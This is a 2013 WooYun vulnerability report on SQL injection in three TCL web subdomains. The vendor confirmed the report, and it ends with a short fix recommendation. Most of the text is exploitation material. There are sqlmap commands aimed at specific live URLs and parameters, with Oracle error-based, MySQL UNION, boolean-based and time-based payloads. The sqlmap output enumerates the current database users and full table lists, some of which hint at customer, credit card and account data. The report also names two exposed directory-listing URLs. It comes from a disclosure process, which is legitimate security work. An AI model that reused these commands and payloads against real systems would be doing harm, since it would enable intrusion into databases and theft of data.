当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-043381

漏洞标题:TCL#三个分站存在SQL注射漏洞

相关厂商:TCL官方网上商城

漏洞作者: Mr.leo

提交时间:2013-11-19 18:54

修复时间:2014-01-03 18:54

公开时间:2014-01-03 18:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-19: 细节已通知厂商并且等待厂商处理中
2013-11-19: 厂商已经确认,细节仅向厂商公开
2013-11-29: 细节向核心白帽子及相关领域专家公开
2013-12-09: 细节向普通白帽子公开
2013-12-19: 细节向实习白帽子公开
2014-01-03: 细节向公众公开

简要描述:

TCL#三个分站存在SQL注射漏洞,求RANK20,求给力。

详细说明:

站点1:
http://callcenter.tcl.com
%7bactionForm.issue_time%7d参数没有过滤,导致注射
sqlmap跑起来
sqlmap.py -u "http://callcenter.tcl.com/tclcc/portlets/downloading/jstbxzflow/queryDealer.do" --data "%7bactionForm.issue_time%7d=1" --dbs --current-user --current-db
Place: POST
Parameter: {actionForm.issue_time}
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: {actionForm.issue_time}=1' AND 9186=9186 AND 'hepE'='hepE
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: {actionForm.issue_time}=1' AND 1620=(SELECT UPPER(XMLType(CHR(60)||
CHR(58)||CHR(101)||CHR(103)||CHR(109)||CHR(58)||(SELECT (CASE WHEN (1620=1620) T
HEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(99)||CHR(102)||CHR(112)||CHR(58)||CHR
(62))) FROM DUAL) AND 'SneB'='SneB
---
[16:11:32] [INFO] the back-end DBMS is Oracle
web server operating system: Windows
web application technology: JSP, Apache 2.0.53
back-end DBMS: Oracle
[16:11:32] [INFO] fetching current user
[16:11:32] [INFO] resumed: TCLKING
current user: 'TCLKING'
[16:11:32] [INFO] fetching current database
[16:11:32] [INFO] resumed: TCLKING
current schema (equivalent to database on Oracle): 'TCLKING'
Database: TCLKING
[61 tables]
+---------------------------+
| ADM_1JMSSTATE |
| ADM_1JMSSTORE |
| ADM_2JMSSTATE |
| ADM_2JMSSTORE |
| ADM_3JMSSTATE |
| ADM_3JMSSTORE |
| AD_BUCKET |
| AD_COUNT |
| APPOINTMENTACLOWNERTABLE |
| APPOINTMENTACLTABLE |
| APPOINTMENTTABLE |
| BT_EVENT |
| BT_EVENT_ACTION |
| BT_EVENT_TYPE |
| B_AUDITINGSTATE |
| B_CANTON |
| B_COMPARE_ELEMENT |
| B_EDUCATION_TYPE |
| B_ELEMENT_ATTRIBUTE |
| B_EMPLOYEE |
| B_FACTORY |
| B_INCOME |
| B_MARRIAGE_TYPE |
| B_NATION_TYPE |
| B_OCCUPATION_TYPE |
| B_ORGANIZATION |
| B_PAGE_INFO |
| B_POPEDOM |
| B_POST_TYPE |
| B_PRODUCT |
| B_PRODUCTCOLOR |
| B_PRODUCT_ATTRIBUTE |
| B_PRODUCT_CATEGORY |
| B_PRODUCT_TYPE |
| B_QUESTIONNAIRE |
| B_SERVICE_TYPE |
| B_TROUBLE |
| B_TROUBLE_REASON |
| B_ZONE_TYPE |
| CATALOG_ENTITY |
| CATALOG_PROPERTY_KEY |
| CATALOG_PROPERTY_VALUE |
| CC_NEWS |
| CC_SATISFY |
| CLU_1JMSSTATE |
| CLU_1JMSSTORE |
| CLU_2JMSSTATE |
| CLU_2JMSSTORE |
| CLU_3JMSSTATE |
| CLU_3JMSSTORE |
| CLU_4JMSSTATE |
| CLU_4JMSSTORE |
| CLU_5JMSSTATE |
| CLU_5JMSSTORE |
| CMV_NODE |
| CMV_NODE_ASSIGNED_ROLE |
| CMV_NODE_VERSION |
| CMV_NODE_VERSION_PROPERTY |
| CMV_PROPERTY |
| CMV_VALUE |
| CM_NODE |
+---------------------------+
TCLking下面268张表
Database: TCLKING
[268 tables]
+--------------------------------+
| ADM_1JMSSTATE |
| ADM_1JMSSTORE |
| ADM_2JMSSTATE |
| ADM_2JMSSTORE |
| ADM_3JMSSTATE |
| ADM_3JMSSTORE |
| AD_BUCKET |
| AD_COUNT |
| APPOINTMENTACLOWNERTABLE |
| APPOINTMENTACLTABLE |
| APPOINTMENTTABLE |
| BT_EVENT |
| BT_EVENT_ACTION |
| BT_EVENT_TYPE |
| B_AUDITINGSTATE |
| B_CANTON |
| B_COMPARE_ELEMENT |
| B_EDUCATION_TYPE |
| B_ELEMENT_ATTRIBUTE |
| B_EMPLOYEE |
| B_FACTORY |
| B_INCOME |
| B_MARRIAGE_TYPE |
| B_NATION_TYPE |
| B_OCCUPATION_TYPE |
| B_ORGANIZATION |
| B_PAGE_INFO |
| B_POPEDOM |
| B_POST_TYPE |
| B_PRODUCT |
| B_PRODUCTCOLOR |
| B_PRODUCT_ATTRIBUTE |
| B_PRODUCT_CATEGORY |
| B_PRODUCT_TYPE |
| B_QUESTIONNAIRE |
| B_SERVICE_TYPE |
| B_TROUBLE |
| B_TROUBLE_REASON |
| B_ZONE_TYPE |
| CATALOG_ENTITY |
| CATALOG_PROPERTY_KEY |
| CATALOG_PROPERTY_VALUE |
| CC_NEWS |
| CC_SATISFY |
| CLU_1JMSSTATE |
| CLU_1JMSSTORE |
| CLU_2JMSSTATE |
| CLU_2JMSSTORE |
| CLU_3JMSSTATE |
| CLU_3JMSSTORE |
| CLU_4JMSSTATE |
| CLU_4JMSSTORE |
| CLU_5JMSSTATE |
| CLU_5JMSSTORE |
| CMV_NODE |
| CMV_NODE_ASSIGNED_ROLE |
| CMV_NODE_VERSION |
| CMV_NODE_VERSION_PROPERTY |
| CMV_PROPERTY |
| CMV_VALUE |
| CM_NODE |
| CM_OBJECT_CLASS |
| CM_PROPERTY |
| CM_PROPERTY_CHOICE |
| CM_PROPERTY_DEFINITION |
| CONTACTACLOWNERTABLE |
| CONTACTACLTABLE |
| CONTACTTABLE |
| DATA_SYNC_APPLICATION |
| DATA_SYNC_ITEM |
| DATA_SYNC_SCHEMA_URI |
| DATA_SYNC_VERSION |
| DISCOUNT |
| DISCOUNT_ASSOCIATION |
| DISCUSSIONUSERTABLE |
| DISTCNTTABLE |
| DISTLISTACLOWNERTABLE |
| DISTLISTACLTABLE |
| DISTLISTTABLE |
| EC_DISTRIBUTE_DETAIL |
| EC_MEMBER |
| EC_ORDER |
| EC_ORDER_DETAIL |
| EC_ORDER_DISTRIBUTE |
| EC_SHOPING_INTENT |
| EJBACCOUNTS |
| EJB_ITEMS |
| EJB_MANUFACTURER |
| ENTITY |
| FORUMACLOWNERTABLE |
| FORUMACLTABLE |
| FORUMTABLE |
| GROUPACCESS |
| GROUPACCOUNTS |
| GROUPIPACCESS |
| GROUP_HIERARCHY |
| GROUP_SECURITY |
| KS_BASEINFO |
| KS_EXAMINATIONPAPER |
| KS_EXAMINATIONPAPER_DETAIL |
| KS_EXAMINEE |
| KS_QUESTION |
| KS_TESTPAPER |
| KS_TESTPAPERDETAIL |
| KS_TRAINPLAN |
| K_BULLETIN |
| K_CANTON |
| K_DOC_INFO |
| K_DOC_TREE |
| K_DOC_TYPE |
| K_ORGANIZATION |
| K_ORG_LIST |
| K_ORG_TREE |
| K_POLICY_INFO |
| K_POLICY_TREE |
| K_POLICY_TYPE |
| K_PRO_INFO |
| K_PRO_TREE |
| K_PRO_TYPE |
| K_QUESTION_INFO |
| K_QUESTION_TREE |
| K_QUESTION_TYPE |
| L10N_INTERSECTION |
| L10N_LOCALE |
| L10N_RESOURCE |
| L10N_RESOURCE_TYPE |
| MAIL_ADDRESS |
| MAIL_BATCH |
| MAIL_BATCH_ENTRY |
| MAIL_HEADER |
| MAIL_MESSAGE |
| MCL_1JMSSTATE |
| MCL_1JMSSTORE |
| MCL_2JMSSTATE |
| MCL_2JMSSTORE |
| MESSAGEFILETABLE |
| MESSAGETABLE |
| MVNFORUMATTACHMENT |
| MVNFORUMCATEGORY |
| MVNFORUMFAVORITETHREAD |
| MVNFORUMFORUM |
| MVNFORUMGROUPFORUM |
| MVNFORUMGROUPPERMISSION |
| MVNFORUMGROUPS |
| MVNFORUMMEMBER |
| MVNFORUMMEMBERFORUM |
| MVNFORUMMEMBERGROUP |
| MVNFORUMMEMBERPERMISSION |
| MVNFORUMMESSAGE |
| MVNFORUMMESSAGEFOLDER |
| MVNFORUMMESSAGESTATISTICS |
| MVNFORUMPMATTACHMENT |
| MVNFORUMPMATTACHMESSAGE |
| MVNFORUMPOST |
| MVNFORUMRANK |
| MVNFORUMTHREAD |
| MVNFORUMWATCH |
| NET_ORG |
| None |
| ORDER_ADJUSTMENT |
| ORDER_LINE_ADJUSTMENT |
| P13N_ANONYMOUS_PROPERTY |
| P13N_ANONYMOUS_USER |
| PBCATCOL |
| PBCATEDT |
| PBCATFMT |
| PBCATTBL |
| PBCATVLD |
| PF_BOOK_DEFINITION |
| PF_BOOK_GROUP |
| PF_BOOK_INSTANCE |
| PF_CONSUMER_PORTLETS |
| PF_CONSUMER_PROPERTIES |
| PF_CONSUMER_REGISTRY |
| PF_DESKTOP_DEFINITION |
| PF_DESKTOP_INSTANCE |
| PF_LAYOUT_DEFINITION |
| PF_LOOK_AND_FEEL_DEFINITION |
| PF_MARKUP_DEFINITION |
| PF_MENU_DEFINITION |
| PF_PAGE_DEFINITION |
| PF_PAGE_INSTANCE |
| PF_PLACEHOLDER_DEFINITION |
| PF_PLACEMENT |
| PF_PORTAL |
| PF_PORTLET_CATEGORY |
| PF_PORTLET_CATEGORY_DEFINITION |
| PF_PORTLET_DEFINITION |
| PF_PORTLET_INSTANCE |
| PF_PORTLET_PREFERENCE |
| PF_PORTLET_PREFERENCE_VALUE |
| PF_PRODUCER_PROPERTIES |
| PF_PRODUCER_REGISTRY |
| PF_PROXY_PORTLET_INSTANCE |
| PF_SHELL_DEFINITION |
| PF_THEME_DEFINITION |
| PLACEHOLDER_PREVIEW |
| PLAN_TABLE |
| POP3ATTACHMENTS |
| POP3FOLDERS |
| POP3MESSAGEHEADERS |
| POP3MESSAGES |
| POP3PREFERENCES |
| POR_1JMSSTATE |
| POR_1JMSSTORE |
| POR_2JMSSTATE |
| POR_2JMSSTORE |
| POR_AJMSSTATE |
| POR_AJMSSTORE |
| PROPERTY_KEY |
| PROPERTY_VALUE |
| SCENARIO_END_STATE |
| SEQUENCER |
| SP_INFO |
| S_ACCEPT |
| S_ANSWER |
| S_CREATERECORD |
| S_LEAVEWORD |
| TCLCC_S_ACCEPT |
| TCLCC_S_CREATERECORD |
| TD_AUDION |
| TD_CXYG |
| TD_DIODE |
| TD_DOWNLOAD |
| TD_FILE_TYPE |
| TD_IC_BUS |
| TD_MAINTAIN_CASE |
| TD_MATERIEL_REPLACE |
| TD_PASTE_PART |
| TD_RELATE_DOWNLOAD |
| TD_RELATION |
| TD_REMOTE_CONTROL |
| TD_ROW_OUT |
| TD_SILICON |
| TEST_DATE |
| TEST_TEXT |
| TODOACLOWNERTABLE |
| TODOACLTABLE |
| TODOTABLE |
| TOPICFILETABLE |
| TOPICSUBTABLE |
| TOPICTABLE |
| TXL_ORG |
| UNIQUEIDGENERATOREJBTABLE |
| USERACCESS |
| USERACCOUNTS |
| USERIPACCESS |
| USER_GROUP_CACHE |
| USER_GROUP_HIERARCHY |
| USER_PROFILE |
| USER_SECURITY |
| WEBLOGICJMSSTATE |
| WEBLOGICJMSSTORE |
| WEBLOGIC_IS_ALIVE |
| WLCS_CATEGORY |
| WLCS_CREDIT_CARD |
| WLCS_CUSTOMER |
| WLCS_ORDER |
| WLCS_ORDER_LINE |
| WLCS_PRODUCT |
| WLCS_PRODUCT_CATEGORY |
| WLCS_PRODUCT_KEYWORD |
| WLCS_SAVED_ITEM_LIST |
| WLCS_SECURITY |
| WLCS_SHIPPING_ADDRESS |
| WLCS_SHIPPING_METHOD |
| WLCS_TRANSACTION |
| WLCS_TRANSACTION_ENTRY |
+--------------------------------+
--------------------------------我是分割线--------------------------------
站点2:
www.tclbattery.com
id参数没有过滤,导致注射漏洞
sqlmao跑起来
sqlmap.py -u "www.tclbattery.com/read_news.php?id=1" --dbs --current-user --current-db
[root@Hacker~]# Sqlmap sqlmap.py -u "www.tclbattery.com/read_news.php?id=1" --db
s --current-user --current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:22:44
[16:22:44] [INFO] resuming back-end DBMS 'mysql'
[16:22:44] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: UNION query
Title: MySQL UNION query (NULL) - 7 columns
Payload: id=1 LIMIT 1,1 UNION ALL SELECT NULL, CONCAT(0x3a6c6d6e3a,0x726d416
54f4c44636e57,0x3a76726b3a), NULL, NULL, NULL, NULL, NULL#
---
[16:22:45] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: Microsoft IIS 6.0, PHP 4.3.4
back-end DBMS: MySQL 4
[16:22:45] [INFO] fetching current user
current user: 'jacky@%'
[16:22:45] [INFO] fetching current database
current database: 'battery'
[16:22:45] [WARNING] information_schema not available, back-end DBMS is MySQL <
5. database names will be fetched from 'mysql' database
[16:22:45] [INFO] falling back to current database
[16:22:45] [INFO] fetching current database
available databases [1]:
[*] battery
---------------------------我是分割线-------------------------------------
站点3:
http://tclcom.tcl.com 与 WooYun: TCL#两个分站存在SQL注射漏洞 属于同一站点,注入点不同。
classid参数没有过滤,导致注射漏洞
sqlmap跑起来
sqlmap.py -u "http://tclcom.tcl.com/php/load_articles.php?lang=null&page=cnews&type=1" -p "type" --dbs --current-user --current-db
Place: GET
Parameter: type
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: lang=null&page=cnews&type=1 AND 1636=1636
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: lang=null&page=cnews&type=1 AND SLEEP(5)
---
[18:42:52] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian or Ubuntu 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL 5.0.11
[18:42:52] [INFO] fetching current user
[18:42:52] [INFO] resumed: root@localhost
current user: 'root@localhost'
[18:42:52] [INFO] fetching current database
[18:42:52] [INFO] resumed: tcl_bis
current database: 'tcl_bis'
[18:42:52] [INFO] fetching database names
[18:42:52] [INFO] fetching number of databases
[18:42:52] [INFO] resumed: 3
[18:42:52] [INFO] resumed: information_schema
[18:42:52] [INFO] resumed: mysql
[18:42:52] [INFO] resumed: tcl_bis
available databases [3]:
[*] information_schema
[*] mysql
[*] tcl_bis
Database: tcl_bis
[20 tables]
+---------------------------------------+
| admin |
| articles |
| career_categories |
| categories |
| directors |
| directorscat |
| events |
| financial_values |
| languages |
| links |
| media |
| offers |
| pages |
| pdf_research |
| research_report |
| result_announcement |
| sessions |
| text |
| unit_sales |
| users |
+---------------------------------------+
另外送2个站点的目录遍历
1、http://xjd.tcl.com:8008/activex/
2、http://www.tclbusiness.com/uploadfile/

123.png


456.png

漏洞证明:

已经证明

修复方案:

1、过滤
2、屏蔽列目录

版权声明:转载请注明来源 Mr.leo@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2013-11-19 22:06

厂商回复:

感谢您的工作,已转交相关单位确认处理。

最新状态:

暂无


漏洞评价:

评论